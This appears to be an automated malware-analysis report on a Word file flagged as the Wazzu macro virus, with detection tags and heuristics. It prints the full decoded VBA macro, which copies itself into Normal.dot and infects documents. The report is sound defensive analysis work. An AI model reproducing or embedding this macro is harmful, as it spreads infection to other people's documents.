MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Word document containing a VBA macro named 'autoOpen'. This macro attempts to copy itself to the Normal.dot template if certain conditions are met, suggesting an attempt to establish persistence. The ClamAV detection and heuristic firings strongly indicate malicious intent.
Heuristics 4
-
ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Wazzu-47
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1219 bytes |
SHA-256: 2c06fa7ab88ae6ead9715b4664677a1c085692e5ca394cf595f2c0e81fff9408 |
|||
|
Detection
ClamAV:
Doc.Trojan.Wazzu-14
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "autoOpen"
Public Sub MAIN()
Dim TheSmallOne$
Dim TheBigOne$
Dim ThisOne$
Dim SmallFileAtt
TheSmallOne$ = WordBasic.[FileName$]() + ":autoOpen"
TheBigOne$ = "Global:autoOpen"
ThisOne$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If ThisOne$ = "NORMAL.DOT" Then
SmallFileAtt = GetAttr(WordBasic.[FileName$]())
If SmallFileAtt >= 32 Then SmallFileAtt = SmallFileAtt - 32
If SmallFileAtt >= 4 Then SmallFileAtt = SmallFileAtt - 4
If SmallFileAtt >= 2 Then SmallFileAtt = SmallFileAtt - 2
If SmallFileAtt = 0 Then
WordBasic.MacroCopy TheBigOne$, TheSmallOne$
WordBasic.FileSaveAs Format:=1
WordBasic.SetDocumentDirty 0
End If
Else
WordBasic.MacroCopy TheSmallOne$, TheBigOne$
End If
End Sub
Attribute VB_Name = "NewMacros"
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.